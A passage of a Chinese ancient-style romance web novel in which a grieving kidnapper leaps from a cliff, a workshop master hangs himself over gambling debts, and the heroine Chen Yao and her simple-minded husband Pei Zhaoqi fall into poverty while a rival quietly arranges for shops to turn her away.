“吴春蔓!你若让我相公有什么好歹,我定让你也生不如死!”陈窈不能眼睁睁地看着裴照七死,她跪在地上哭喊着,乞求唤醒吴春蔓最后的一点良知,“你想想你相公,还有……你的孩子!”
“我的孩子?”吴春蔓顿时定住,木屑碎一地,冰冷的刀尖冲向陈窈,“他早被你害死了!”
20. 幻灭
一年前,陈窈被迫搬离花颐村,正是庞氏与吴春蔓最得意之时。
她俩以把陈窈成功赶出村为由,向刘二邀功。
刘二彼时已接任他爹的位子,摆起架子来丝毫不逊色,他面对二人的谄媚示好,只淡淡一句打发,“陈窈走了,我的目的已然达到,为何还要支付你们银两?”
庞氏与吴春蔓没料是这个结果,刘二当初向她们承诺,只要把陈窈赶走便有她们享不尽的好日子,她们当真是信了,按刘二说的抬高掠房钱,带动周围的村民不再光顾陈窈的小摊。
到头来,她们明面作恶,刘二暗地得利,转眼翻脸不认,达到目的过河拆桥!
庞氏心里连声叫苦,她们有冤有苦却无地可辩。
没了银子叫她们一家可怎么活啊!
吴春蔓一听,当晚便晕了过去,在床上躺了许久,好不容易缓过来,却为家中生计不得下地劳作,就连赵黔都顾不得科考,也干起活儿来。
她挺着个大肚子,头顶着烈焰,一锄头一锄头地松土耙地。
吴春蔓享受过饭来张口的日子,哪里是干这些粗活儿的人。
还没下地两天,她脚下打滑没站住,重重倒在田地,肚子里的胎因而没能保住。
失去孩子的吴春蔓像是丢了魂般,双眼哭得又红又肿,整日摸着自己平坦的小腹怅然若失。
庞氏等她身体无恙了,顿时横眉冷对,“好了就来干活儿!我们家没那好命,娶不进小姐却有个装小姐脾气的!”
如刺般的言语扎进吴春蔓的心里,她之前的傲气全来自这个未出世的孩子,就算陈窈再与裴照七相爱,三年却不曾有子,她终是赢了陈窈一头。
可她引以为傲的孩子竟掉了,这一切都是因陈窈所起,这让吴春蔓萌生了一个想法,她要让陈窈同样感同身受!
于是,她暗中派人跟踪陈窈,趁她不在绑架裴照七以此作为要挟。
崖岸上沙尘猛然卷起,形成一轮一轮的漩涡,像是吃人的妖怪。
陈窈伸手挡住风沙,听后久久不能自已,只叹道:“你真是糊涂啊!”
吴春蔓用刀背拍打自己的肚子,压抑着的痛苦让她喘不过来气,含泪絮语:“他前一天还隔着肚皮踢我,一下又一下,后一天就……没了气息,你叫我怎能不恨!”
她恨陈窈却不恨赵黔,甚至连他无所作为都不提一下,拥有过再失去的痛,是作为一个父亲不能理解的痛。
陈窈看着吴春蔓因此而失心疯直感心寒,眼角不自觉地划出一滴泪水。
身处囹圄只知埋怨,永不自救。
就在此时,赵黔与庞氏赶来,“你快下来,不要做傻事!”
说话的是赵黔,庞氏在一旁被吴春蔓拿刀的架势吓住,双腿颤得不成样子,陈窈清晰地听到她不通顺的喘息。
“相公?”吴春蔓透过漫漫风沙,用噙满泪的双眸望着赵黔。
“是!是我!”赵黔上前,向她缓缓伸出手。
“我们还会再有孩子的吗?”吴春蔓泪从眼眶中涌出,勾起唇角难掩苦涩。
“会!春蔓和我回家吧!”
赵黔离她很近,再走三步就能够住她了,陈窈在身后看得真切揪心,尤其是裴照七身上快断了的绳子。
就在这时,吴春蔓眼珠一抬,明亮如镜般的眸色骤然一变,她握紧刀尖,横在胸前,“骗子!”
赵黔连忙摆手,“我没,没骗你!”
吴春蔓难以置信,刀尖冲着他喊道:“你竟叫了官兵!”
“没有。”赵黔摇头,他有种极不好的兆头腾升。
官兵们身着铠甲,似两条长龙重重围住持刀的吴春蔓,来势比天上没预兆的乌云还要凶猛。
吴春蔓脖子瑟缩,她握刀的手松了松,眼底充斥着绝望,自知已没了回头路。
陈窈早在收到纸条时就报了官,没想到他们来得如此慢,早些来说不定裴照七就不用挨一刀了。
官兵们手中的长枪寒芒冷冽,透出森森的寒意,朝吴春蔓挥动。
霎时间沙尘卷起,几人纷纷被迷住眼。
就在视线模糊的一刹,只见吴春蔓纵身一跃,裙角飞扬,跌落深不见底的山崖之下。
赵黔第一个飞跑出去,哭喊着扑倒在崖边,却连吴春蔓的衣角都没抓到。
陈窈见裴照七解救,心里压的一块大石头总算落地,她撑了太久,受不住地晕倒过去。
——
雨夜,迷蒙一片。
陈窈忘了自己是怎么回去的,她醒来时就见裴照七赤身环抱着她,胸口用绷带包扎,洇出早已干涸血迹。
“窈娘你醒了,渴不渴?”裴照七看她醒了,欣喜若狂,不等她回答起身准备给她倒水。
陈窈拉住他,朦胧的眼眨了眨,“不渴,你陪陪我。”
她睡的并不安稳,脑海中挥之不去吴春蔓跳崖的一幕,触目惊心的画面反反复复地回荡在她梦中。
真是她造成的吗?
或许她不叫官兵,吴春蔓就不会跳崖了呢?
“你还疼吗?”裴照七躺回去,手臂圈住她的小腹,大掌在上缓慢打圈。
“我没事啊?”陈窈迷茫。
裴照七呼吸紧贴在她耳畔,极为眷恋和珍惜地说:“别想骗我,早上我闻到房里的药味了,你见血肚子肯定痛,这次还痛到晕倒,都是我不好叫窈娘担心了。”
陈窈这才听懂他指的是什么,裴照七以为她是来葵水疼到晕过去了。
“我没事。”陈窈摇头,眼底蜷缩着柔情看他,“倒是你,是不是很害怕。”
“你不在我身边,我看到那么长的山特别怕,但看你紧张我的样子又觉得很好,很好。”裴照七低眉,长长的睫毛盖住眼底洋溢的幸福。
“你这个傻子,你知不知道你吓死我了!我差点以为再也看不到你了!”
陈窈转过身子对着他,本想举起拳头想打在他胸膛解恨,又看到他从受的伤转而触碰他冰凉的面庞,两行泪从中流淌下,盈盈泪水盛满眼眶,像是把所有的酸楚倾诉,一瞬泣不成声。
裴照七垂下眼帘,注视她被泪浸湿的双颊,心脏像被抓起来似的,对她充满了心疼与怜惜。
他头颅轻轻低下,用吻拭去她滚烫的泪,“窈娘,我不想看到你哭,你哭我的心会跟着你一起痛。”
陈窈泪流不止,她不敢去想没有裴照七的日子,她该多么孤寂。
裹挟着泪的咸湿,裴照七低头吻上她的唇,唇瓣辗转,不夹杂任何情欲的吻,两人难舍难分。
裴照七轻声喘着气,抵着她的额头,眼眸深邃的诉说:“娘子,我好爱你。”
陈窈柔柔地回应他,“我也是。”
等两人温存够了,陈窈倏尔想起,“谁给你包扎的?”
裴照七:“官老爷叫了大夫给我医治,大夫说让你醒来还他银子。”
陈窈:“……”
她现在哪儿还有银子,都给吴春蔓用来赎裴照七了。
提起这个陈窈就生气,刚才对吴春蔓那点愧疚与悔恨顿时烟消云散。
吴春蔓真是个疯婆娘,死了也罢,就是亏她攒的心血一起下去陪葬。
陈窈口袋空空身无分文,别说还钱了,以后这日子怎么过她都不知道呢,何况堂中事宜有变动,她如同站在风口处的小舟,孤立无援。
最后一面赵黔来嬅京见了陈窈,他说带着庞氏准备去庙中,每日吃斋念佛,以洗对妻子与未出世孩儿的亏欠。
陈窈说这样安排也好。
两人笑了笑,但谁都明白,再怎么赎罪,什么也都回不来了。
临行前,赵黔把卖掉的房钱给了陈窈,花颐村的房卖了也是没人买的,地处偏僻,也是村中人收了当牛棚鸡舍用,银子不多,算是给陈窈一点慰藉。
她用银子还了大夫的账,剩下的陈窈重新备了个新匣子,全部锁进去,一切从头开始。
入夜,烛火案边。
女人身裹一片红鸳鸯肚兜跪在蒲垫上,长发从一侧垂落胸前,一双纤纤素手握着药匙,倾身给裴照七抹药,他只穿了条亵裤,褪去纱布缠身的胸腹,紧致强劲,如坐立于雪山之巅的巍峨的山。
两人原是要就寝,谁知裴照七这傻子如饿虎扑食般将她压在身下狂亲,陈窈被他弄得极痒,一抬手不小心扯住他伤口,鲜血从口子处渗出。
把陈窈吓一跳,她来不及穿外衣,赶紧爬起来给裴照七止血。
裴照七眼神肆无忌惮地落在她身侧,两根细细的红绳勾住女人颀长的脖颈,仔细看还有几个没消的暗红印记,那是前几日与她亲热所留的痕。
“你要是不想好,就一直盯着我看。”陈窈故意在他伤口边缘用力,提醒他说。
裴照七眉梢微不可察地挑起,老实地移开了目光,顺势落在了铜镜上的那道迤逦,继续盯了起来。
“好了吗?”裴照七坐得屁股都疼,他想抱着陈窈上床睡觉。
陈窈用药匙沿着边缘剐蹭干净,将所有的药都抹尽,“快了,这药可是花了银钱的,不能浪费,都涂给你!”
裴照七瞥了眼被她刮得干干净净的药碗,乖乖地支了声,“……好。”
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等陈窈给他上完药,裴照七是彻底坐不住了,他长臂一伸,揽过陈窈的玉腰往自己怀里贴。
男人宽阔的胸膛格外温热,她裸露的在外的后背顿时温暖起,像是披了件绒衣,就是她腰前的这两只手有些不老实。
陈窈冷,就没赶走他,但拍了他手一下,“抱就抱,别乱摸!”
裴照七撇嘴,埋进她的发间轻嗅,“娘子,你好香啊。”
这几天郁郁寡欢,睡前陈窈都无心摆弄胭脂水粉,何来的香?
陈窈略感疑惑地转了下头,“我什么都没涂你还觉得香?”
裴照七撩开她的发,鼻息铺在她耳后的嫩肉,低低地道:“你就是香!”
陈窈可能闻不到,但裴照七总能嗅到她身上有一种淡淡的香味,不是花香也不是那些胭脂香。
是能让他每夜闻到如同安神香般,舒心惬怀。
陈窈见他说不出个所以然,却看出裴照七的用意,“你就是想占我便宜,用什么香不香的忽悠我!”
“窈娘说什么就是什么,我只要抱着你就行。”裴照七缠着她轻轻闭了眸,俊色的面容泛着说不尽的陶醉。
陈窈正色地警告他,“这几天你想都别想,你身子还没好利索,要再扯到伤口,你就要留道疤了。”
裴照七唇角一勾,“有疤的男人也很有风趣。”
“我不要有瑕疵的男人。”陈窈笑了笑,指尖轻点在他鼻尖,扬起下巴娇嗔道:“你要是留疤,我就休掉你!”
裴照七倏尔睁开眼,略带惩罚性地一口咬在她的耳垂,“娘子,你舍不得吗?”
热气入耳,夹杂着簌簌痒意,陈窈缩了缩脖子直躲,濡湿的吻又顺着耳廓覆之滑嫩的肩头,迎着他毫无章法的吻,她哼唧地说:“到时候烙下疤痕,看我舍不舍得你。”
“你不让我碰你,却又勾引我,娘子真是好手段。”裴照七吃不到,陈窈还一个劲儿地勾着他,他岂受得了这种折磨。
陈窈身子一顿,羞涩地说:“我可没有。”
裴照七没说话,又是一口咬上去,磨得陈窈好一会儿才灭了灯。
辗转反侧,陈窈想起日后银子到不了手,根本睡不着。
前几日她拿着新做的金簪去找何岱,他和之前温润的样子截然不同,眼底两圈乌青蔓延,像是好几夜没睡。
何岱只看了一眼,以要多卖金簪为由便把她打发走了。
陈窈隐约感觉,何岱很需要银子,但以金禧堂的收入足够他赚得盆满钵满,不至于如此。
自从她们这些簪娘不再专注好的技艺,有人欢喜有人忧,刚进来的簪娘一想不用学习复杂的技巧还能有银子赚,如释重负般地解脱。
可陈窈不仅是为了钱,更重要的是她真心喜欢做簪子,看别人戴上她亲手打造的簪子,赞不绝口时,她觉得日夜的努力没白费。
她实实在在地付出了很多心血在这上面,所以当得知工坊这般消息,心头涌上难以言喻的不安与惊错。
陈窈转过身,戳了戳裴照七的下巴,“相公?你睡了吗?”
裴照七属于抱着陈窈沾床就睡,这会儿陈窈喊他,他眼睛都睁不开,瓮声回应她,“嗯。”
“我睡不着。”陈窈往他怀里挨了挨,眼皮贴着他肌理分明的胸膛。
裴照七朦胧着睡意,脑子没做出反应,大手下意识地抚上她后背,一下一下地轻拍。
陈窈睁着眼,眼睫轻眨,金禧堂俨然不是最初的样子,有一种不好的预感压抑着她,她要为以后做打算,不能坐以待毙。
依附任何事物都不是长久之计。
想着想着,陈窈渐渐睡着了。
天蒙蒙亮,雾气如丝,几缕淡光不太明亮透进窗。
陈窈是被一阵吵闹叫醒的,喧吵声越来越大,她无奈穿好衣服,循声而去。
似乎堂中所有人都围在何堂主的院落外,隔着人海,陈窈看不见里面发生什么了,身边几人的对话,令她眉头紧锁。
“怎么会如此突然。”
“是啊,谁也料到他是这样的人!”
“这可如何是好,我们这群可怜人以后可要怎么办啊!”
“只盼此事莫要牵连我们才好。”
陈窈忐忑不安,挤进层层人群,往前探去。
她抬起头,眼前的景象极为震惊,她瞳孔微微扩大,四周弥漫着一种阴冷之气,无故地闯堂风掠过她的发间,掀起阵阵战栗。
悬木上吊死一具死尸,脸色惨白枯槁,正是前两日还同她讲过话——
何岱,何堂主。
21. 落魄
男人长臂一揽,却扑了个空,被褥一片冰凉,陈窈早不知何时起床。
裴照七索性不睡了,还没下床,就见陈窈一脸慌慌张张地跑进来,她裙摆飞扬,垂落的长发随之舞动。
“快!收拾东西,咱们快走!”陈窈扑在床头,拉开每格柜子,把值钱的东西倒出来。
“现在吗?我都还没用饭呢。”裴照七不明所以,抓了一把没梳理的头,坐在床边愣愣地说。
陈窈在屋里左忙右忙,快速整理出一个包袱,“别想着吃了,等追债的人找上门,咱们就来不及了!”
裴照七套上衣裤,穿好鞋袜,勉强在慌乱之中将自己收拾利落。
“到底怎么了呀?”他坐在小石凳上,目光落在陈窈匆匆的身影。
陈窈把包袱跨在胳膊上,眼底倏然泛起泪花,手轻抚他的脸,言重又温柔地道:“相公,金禧堂怕是不能待了,咱们需寻个新住处。”
裴照七略感迟疑地点了点头:“好,我都听娘子的!”
他不知道发生什么,只要跟着陈窈去哪都行,去哪都是家。
陈窈拉起裴照七正要出门,此时敲门声不合时宜地响起,拦住他们的去路。
“相公,你先去里面待着。”陈窈把包袱递给他,自己则挡在他身前,谨慎地缓缓推开门。
门外不是她所想的债主们,而是几名簪娘,陈窈松了一口气,眉头舒展。
“咱们几个都是入堂的老人了,手头有积蓄有技艺,我们合计着离开金禧堂大可再开一间坊,你要不要同我们一起?”年纪较大的簪娘开口,其他姐妹在身后相继附和点头。
何岱堂主有意招收一批落难簪娘,不是哑巴就是遇难的女子,好让她们无退路地进金禧堂打工,他再用赚取的银子去赌博。
赌坊是个吃人不眨眼的阎罗殿,刚开始让赌徒尝到一点甜头,放放水人就上钩,日子久了便把对方的瘾吊大,弄出一种下一把能赢钱的错觉。
何岱就是这么被自己的欲望逼上绝境,深陷而不自知,最后上吊自尽。
金禧堂被债主抵押,她们这些簪娘只有拿着手头的积蓄另寻东家。
可如今的金禧堂已成丧家之犬,闹出人命,人人嫌从这儿出来的金簪晦气,带在身上不知会遭多少的霉运,更别说这里的簪娘们。
因而,大家便想合起伙来,独立门户。
堂中落寞,姐妹们齐心协力,向她伸出橄榄枝,陈窈很感动,但她的情况大家并不知道,她用银子赎了裴照七,手中这点碎银也不知够不够用。
“姐姐,需要多少银两,我且先听一听。”陈窈没急答应下,先探探底。
簪娘朝她比了个手势,同是在金禧堂价位差不多的娘子,大家都知根知底,这点钱以陈窈的本事不会太难为她。
陈窈面色微窘,这可不是一笔小数目。
若是先前她钱匣子满当,她方可考虑考虑,但如今她是连一半都拿不出手。
陈窈敛目,低眉道:“不敢耽误姐姐们,我还要养家,手头……确实没这么多闲钱。”
簪娘们听到她拒绝纷纷犯愁,少了陈窈的帮助她们怕也是难了,“家?养你相公?”
堂中人都知道陈窈有个俊俏郎君藏屋头,偶尔能见到她相公总是贴在她身侧,两人感情似漆,一点都不像成亲多年。
让人艳羡又……
无言。
一个大男人整日里碌碌无为,还需自己娘子养着,如同趴在背上吸血的虫,这种日子光是想想就难捱。
男人最怕中看不中用!
簪娘在堂中是出了名的热心肠,也是个直爽人,有什么就说什么。
她瞥一眼陈窈身后紧闭的门窗,“也是亏他心安理得,只是苦了你要拉扯这个拖油瓶,被他拖累!”
陈窈站在屋檐下,清秀的眉眼微变,透露出一种复杂的神色。
“姐姐,我们走吧。”后面的簪娘上前拉住她,小声说。
“言尽于此,告辞。”簪娘微微俯身,转身出了院。
拖油瓶吗?
陈窈细细思量起,裴照七人傻不能像别家男人那般养家糊口,更不能买女人喜欢的首饰哄她欢喜,这么一想簪娘们所说也有理。
裴照七见陈窈回来,拉着她去树下指了指老树根说:“窈娘,咱们把桂花酒挖出来再走。”
他不说陈窈差点都忘了还有这一茬子事儿,她颇为意外地笑了下,“你还记得呢?”
“窈娘最爱我怎会忘记!”
说罢,裴照七蹲下,用一根粗壮的树枝刨开土,等坚硬土块松动,他双手伸进泥土中用力挖,黑泥钻进指甲缝里,留下难以清理的痕迹。
陈窈静静地站在他身后,阳光穿过零星的枯叶,洒在他宽阔的背部,有种难以言明的踏实。
她的心中不禁涌起一股暖流,裴照七怎会是她的拖累呢?
裴照七一手抱起酒,另一只往胸前抹了两下,把手上的泥土擦干后,牵过陈窈细嫩的手,脸上洋溢的笑像是拥有一切般。
“等下。”陈窈从袖中拿出一条干净的帕子。
“嗯?”裴照七呆呆地抬头。
陈窈目光如丝,柔和语气比太阳还暖几分,她伸出手,“把手给我。”
裴照七照做,双手十指张开对着她,绷得极直。
陈窈见他如此喜态,嘴角翘来弧度,将他五指合拢认真地擦拭起来,每一根手指的指甲缝都洁净无瑕。
裴照七晃起自己的双手,左看看右看看,若有所思地说:“这样就可以握着窈娘的手,干干净净地和你牵手!”
陈窈婉言一笑,“嗯!”
——
出了金禧堂,裴照七路上一直喊饿,陈窈走了半天也很累,但为了节省她只要了一碗馄饨。
“窈娘,你怎么不吃啊?”裴照七吃得一滴不剩,放下空碗说。
“我不饿。”陈窈说。
这地方对他们来说开销太大,等安顿好她再顾及填饱肚子吧,现下还能再撑一撑。
陈窈唤小二过来结账,随便问他在这儿住一晚客栈多少银子。
小二收下银子说:“便宜的一晚50文,天字一号五两一晚。”
陈窈囊中羞涩,就连便宜的也只够她们住三个晚上。
小二追问:“您要住哪种?”
“我们……再看看吧。”陈窈不好意思地低下头。
出店后,陈窈是彻底没地方去了,她又转回金禧堂去了,大门却已被封条封死,还挂着附近百姓扔的臭鸡蛋和菜叶,曾经繁华的景象,如今惨不忍睹……
陈窈垂头丧气地在街上漫游,对比一旁的裴照七亮着双眼,对周遭的一切景色都好奇。
陈窈却没心情欣赏。
走着走着,有人忽然追上她喊,“这位娘子,你在找住处吗?”
陈窈回头,对方像是个街头的叫花子,但比一般的乞丐又要穿的得体。
她迟疑地问:“你……怎么知道的?”
“刚在店里用饭时,偶然听到。”男人手从宽大的袖口中伸出来,用黑黝黝的手打了个响指,“我这儿正好能给娘子行个方便!”
陈窈对他的目的半信半疑,“什么地方?”
男人说:“就是鸡毛房!”
陈窈拧眉,什么是鸡毛房?
也顾不得是什么了,她只关心要多少银子,“一晚多少?”
“不贵,三文钱!”
男人带她去的是一片荒废的院落,一进去陈窈就闻见空气弥漫的酸臭,还有一种说不出来的异味,像是糊在嗓子眼的浆糊,让人呼吸不顺畅。
越走近,陈窈皱起的眉头就越深。
裴照七也不适,他拽着陈窈的衣袖,身子使劲往她那边求依靠。
屋内全无家具摆设,大片的地上铺着厚厚的鸡毛,几个人穿着破衣麻布,敞着腿肆无忌惮地躺在上面取暖,完全不顾及周遭空气的难闻。
陈窈定眼一瞧,角落里躺着睡觉的一个乞丐翻了个身,鼻尖正好与正在织网的大蜘蛛相对,他似感鼻头刺痒,只微睁开眼顿了顿,而下一秒他用手直接上去碾死了蜘蛛,手指尖溢出的液体抹在胸口,又安然睡去……
陈窈看到这一幕,庆幸自己没用饭,胃里翻滚,她险些要吐。
领他们进来的男人见他俩脸露踌躇之色,劝说道:“要是看中我可以给你们便宜一点,都好商量。”
别说满地鸡毛了,就算是地上铺棉被,她也无法接受和一群不认识的人挤在一块睡觉。
“我跟你们说,这个价位很值,要是等到大雪来,一个位置就得十五文了,有你们后悔的!”男人绘声绘色地说。
陈窈道了别,几乎没有任何犹豫地回到客栈,买了两个晚上的房。
第一场雪来临之际,天气冷得出奇,加炭火要多五文钱,陈窈拒绝了店小二的好意,他俩挤在一张床上取暖也和炭火大差不差。
一人间客栈的床窄小无比,裴照七躺上去似乎没有多少地方能留给她了,他大手一敞,笑滋滋地说:“窈娘,你躺我怀里。”
反观裴照七没一点面临无家可归的窘迫,十分淡然与自得。
陈窈无暇与他亲热,只当是有个暖席可靠,她别无
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选择地躺在裴照七怀中,满眼尽是忧愁。
几乎是她躺下的瞬间,裴照七如同一个蚌壳,大臂轻轻圈住她的腰身,裸露的胸膛散着温柔,徐徐向她的后背贴近。
男人不知有意还是无意,指尖落在她束带上的结,陈窈以为是他想要了,她侧开身不让他摸到。
裴照七却出乎意料地没想那档子事,轻轻问她,“娘子,你一天都没用饭了,要不要吃点。”
陈窈无心想吃不吃,她要是明日一早找到份工,能怕是只出力的苦工,她就不用愁肚子填不饱了。
“我不饿,早些休息吧。”陈窈打发他说。
“那怎么行,你不吃会瘦!”裴照七不依不饶,凑近她说。
“你要是真心疼我,就别拉着我做些不打紧的事儿!”陈窈在他命根子立起前,先把他肚子里的那团火给熄灭。
“我……今天没想和你欢好。”裴照七横在她腰间的手微微一顿,委屈巴巴地说:“就问问你饿不饿。”
“我说不饿,你可以闭嘴了吗!”陈窈不耐,语气生硬。
听到她不悦的声音,裴照七便噤了声,乖乖地缩回手,放在自己胸前不敢再乱动。
人在情绪低靡时异常烦躁,陈窈不是有意凶裴照七,她现在真的心乱如麻,眼前的生计问题迫在眉睫,没有收入意味着她要流落街边。
天寒地冻,她不想过那种无家可归的日子。
这一晚,陈窈睡得并不安生,即便周围不暖和,她也没有像往常那般钻进裴照七怀里,倒是一早醒来,裴照七像忘了那点不愉快,又试探性地贴了贴她,见她没有反感才拢她进怀中。
简单洗漱后,陈窈让裴照七在客栈内等她,自己则去之前采买过的店铺,这些店她好歹混个脸熟,对她手中的技艺知根知底。
之前那些对她笑脸相迎的店主们,像是不认识她一般赶她走。
为了有口饭吃,陈窈厚着脸皮,敲响了这条街所有的店门,无一不受冷嘲热讽,嫌弃她携带晦气之色。
想来也是,金禧堂落魄,她们这些簪娘跟着受连累,谁能保证她们不赌不偷呢,没人敢用金禧堂出来的人,生怕手脚不干净玷污了店中的财源。
陈窈只能给人当苦力,她来到一家做包子的小摊前。
她搓了搓手,脸上略带局促,朝笼屉前的老板娘开口:“你们这里缺不缺人我干活还……”
“走走!不吃饭就走!别影响我做生意。”老板娘瞥她一眼,似有意般地在她面前掀开一屉包子,里面腾升的热气扑面,滚到陈窈的脸庞,直烫眼。
陈窈被烟熏得急忙后退了两步,忍着眼底泛起的泪水,恳求地说:“我不用太多银钱,只要一口饭一个住处。”
“我这儿可不是什么安济堂,什么人都接济一把。”老板娘上下打量她,幽幽一笑,“不过嘛……我可给你指条路。”
陈窈:“?”
老板娘:“姑娘,我瞧着你长得如花似玉,比许多世家小姐都要美,何必要费力做苦工呢,你要撞在哪家公子怀里,这辈子都不愁吃喝。”
“我已嫁人。”陈窈咬下唇,这办法解不开她当前的困境。
“嫁人?”老板娘像是听到天大笑话般,惊讶道:“你既已嫁人何苦还出来抛头露面,你家男人呢?”
陈窈避而不答地回,但话还没说完就被老板娘打断,“我干活要比许多男人都麻利,第一天我可以不要工钱,您看看再……”
“走走走!别挡着我做生意!长再好的皮囊有何用,还不是嫁给无用的男人!”老板娘极为不耐烦,将刷锅的脏水泼到她面前,水花飞溅,洒在地上形成一条清晰的界限。
“啊!”陈窈来不及避躲,鞋头浇湿,洇出一片浑浊墨色。
他们的争吵引得附近的人们纷纷投来目光,在陈窈扬起头的瞬间又顷刻散去。
一颗泪珠无声地滑落脸侧,像是将她的自尊扯碎,散在众目睽睽之下。
天色渐渐沉入暮色,街边的人群各自忙碌,仿佛刚才喧闹声不存在,只有一家灯火通明处在远远注视着陈窈落魄的背影。
女人伫立窗边,精致的团扇慢悠悠地拍打胸前,“都打点好了吗?”
牡丹缓步上前,恭恭敬敬道:“您放心,这条街的店家收了我们的好处,陈窈定是讨不到银子。”
“很好!”风姨红唇微微一勾。
“我们要出手吗?”牡丹请示。
“现在还不是时候,人只有在最绝望的时候才最无情。”凤姨摇头,平淡的语气说出狠绝的话。
再等,她要等到陈窈一穷二白再出手!
22. 交易
没用的男人。
这话频频入耳,要说刚开始陈窈不认同,现在吃不上一口饭的她却有一丝动摇。
老板娘说的并不无道理,以她的美貌,就算不入贵府,嫁给一个农夫或猎户也比起……一个什么都帮不上忙的傻子如意。
况且,她这么有本事的女人,夜以继日地做金簪,用攒下的银钱绝对能与堂中姐妹合伙开店。
若不是所有的积蓄都用来赎裴照七,她也不至于败落。
陈窈失魂落魄地回到客栈,她刚进门,裴照七立刻从床上蹦起,欢喜地往摸陈窈身上摸,试图找出饼子,“我好饿。”
他等她半天,肚子早饿了。
陈窈目光漠然,“没有吃的。”
裴照七摸了个空,晃着她的手臂,噘嘴说:“可我好饿啊。”
他这动作的意思是让她出去买吃食。
陈窈满眼疲惫,无视他的请求。
她走了半天口干舌燥,现在只想喝杯水润润嗓,她拎起茶壶往杯中倒去,空荡的水壶轻飘飘,一滴水都倒不出来。
“窈娘窈娘,我饿了嘛,你不饿吗?”
裴照七还在央求她,重复的话语在她耳边打转,像是有一群蜜蜂嗡嗡围着她叫。
陈窈眉头紧拧,手腕一甩,茶壶碰撞发出的咣当声,伴随着她心生倦意的语气,叱声道:“少吃一顿死不了!”
裴照七住嘴:“……”
陈窈掀起眼皮,瞧了眼她这没用的相公,到现在他还想着吃。
他们已是穷途末路,莫要说睡大街了,等真正的严寒降临,大雪飘落,街边将添两具冰冷的寒尸。
一想到以后艰难的日子,陈窈鼻子忽地一酸,泪不由自主地滑落,小声抽泣起来。
“怎……怎么还哭了?”裴照七瞪大眼睛,惊道。
他盯着陈窈这张如羊脂细白的脸蛋,泪痕在她脸上划过,宛如美玉上的一抹微瑕,他心疼至极,想抬起手替她拭去泪水。
陈窈迅速躲开,狠狠拍开他的手,嘶哑着哭腔说:“不许你碰我!”
裴照七手悬在半空,被她凶得不知所措,只像根杆子立在原地,缩着脖子,愣了愣地低下头,“好……好。”
瞅见他这般窝囊样子,陈窈哭得更大声了,娇滴滴的哭声充斥整个房间。
陈窈的放声大哭,让裴照七慌乱无措,抬起想要拥抱她的手臂,却又堪堪放下。
她不让他碰,这可怎么办?
裴照七双眉皱起一个八字,既着急又懊恼,他不忍看着陈窈落泪却什么也做不了,他一咬牙,张开双臂将她身子揽进自己胸膛,死死不松手。
陈窈这次没有推开他,也没像往日那般环住他,任凭泪花蹭到他的胸前。
女人的泪如大雨倾盆,一波接着一波地洗刷,怎么止都止不住。
裴照七就这么搂着她,不敢吱声惹她不快,等陈窈哭的声音小了点,他才慢慢看向她,着急地说:“你到底怎么了?窈娘,你别吓我。”
听他这般痴傻地问,陈窈顿时爆发,铆足了力气推开他,“你说怎么了,没有银子,我们怎么生活!”
裴照七猝不及防地被她推倒在地,扬起人畜无害的双眸,愣愣地问:“那咱们的银子呢?”
陈窈想起就生气,指着他破口大骂,“你还有脸问?那些银两不都为了赎你吗!”
裴照七似乎琢磨过来了,“现在怎么办?”
“怎么办?你出去赚银子呗!”陈窈直眉瞪眼,语气冷幽幽地说:“别家的相公都能,你有何不能的?”
裴照七只知这是个法子,还是陈窈让他做的,想都没想点头道:“我去!”
陈窈勾起嘴角,笑意不直达眼底,“你打算做什么养我?”
他这呆头呆脑的样子,除了她谁还会要他。
裴照七泄气,“我……不知道。”
“你真是一点用都没有!”陈窈蓦地想到村中有人会卖掉牲畜来换钱,被泪湿润过的美目一转,她对裴照七笑谑地说:“把你卖了给咱家换银子,愿不愿意啊?”
裴照七这时可一点都不犯傻,他缓缓移身,抱住陈窈的小腿,脸颊往她腿上蹭了蹭,“不要!卖了就见不到窈娘了。”
他模样本就俊朗,可怜兮兮地撒起娇来却实在讨人。
陈窈终是心软,语气放缓很多,“没银子你也见不到我!”
她扒开他的手,起身擦干泪准备出门。
裴照七望着她,“娘子,你去哪啊?”
陈窈头也不回,“去嫁人。”
裴照七:“……”
入冬的夜黑得特别快,又很冻人,像一块带着冷气的阴影笼罩在上空。
陈窈找了一下午的地方,无一不例外都不缺人,回来时她买了两个肉包,掂量了自己的钱囊,她从没觉包子竟如此珍贵。
“给你。”陈窈从袖口拿出还带热气的包子给裴照七。
裴照七眼神放光,像饿狼闻到肉腥味般扑过去,两口吃下一个包子,正准备拿起另一个放进嘴中,忽然他想起什么又放下手,“窈娘,你可用过饭?”
肉味飘香,陈窈喝了口茶水,撒谎说:“我吃过了,你吃吧。”
裴照七便无所顾忌了,一口塞进口中,心满意足地咀嚼起。
陈窈哪儿敢给自己买包子,再多买一个钱袋里的钱又要少几文钱,光是听里面清脆的响儿就知道他们穷。
她经过一天的碰壁也想开了,只要人活着还有一口气,他们就没到山穷水尽之时,大不了回乡下重新开始,他们耕田种地,至少吃穿不愁,总有一天还会奋起。
陈窈简单盥洗后,拖着累到无力身子只想阖眼睡觉。
两人躺一张小床盖同一张被子,陈窈毫无防备地掀开被褥,里面的情景冲击双眼,简直可以用两眼一黑来形容。
她蹙了蹙眉,撇过眼去,轻轻钻入被窝,“你怎么什么都没穿?”
之前裴照七虽裸着上半身,但还穿条亵裤,现下他……竟大摇大摆将他那根大宝贝暴露,如此不知羞耻为何物。
陈窈只看了一眼,便觉臊红了脸。
裴照七没她那般别就,几乎是躺下的一瞬他就抱住陈窈,鼻息洒出的热气全铺在她嫩如豆腐的后背,“我提前为你暖了床,即便你不愿抱我,你也暖和。”
陈窈身子一滞,她才恍然被里比以往的都要暖。
许是今天她把外面受的气都撒在他身上,裴照七心里在意得紧,把被子从里到外都捂了个遍。
“我还是有点用的。”裴照七闷声说。
“嗯,有用。”陈窈笑了下,转而又想起刚才那极有冲击力的画面,嘱咐他说:“下次至少穿条裤子,别都、都露出来。”
裴照七知道她指的是什么,搂紧她嘿嘿一乐
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,“那里最热嘛,暖得也快……”
陈窈转过身,生硬地抱住他的腰,打断道:“你要是再说话我就不抱你了,睡觉!”
裴照七立刻闭上嘴,亲了她眉心一口后闭眼入睡。
第二天,陈窈数了剩下的银子,根本不够再住一晚,他们只好离开客栈另谋去处。
陈窈昨晚已和裴照七说好,回乡下盖草房,不然他们真要流落到住鸡毛房。
从嬅京到村中要走到天黑才能到,为了省下路费,陈窈打起精神,渴了就喝点河水,饿了就……先忍忍吧。
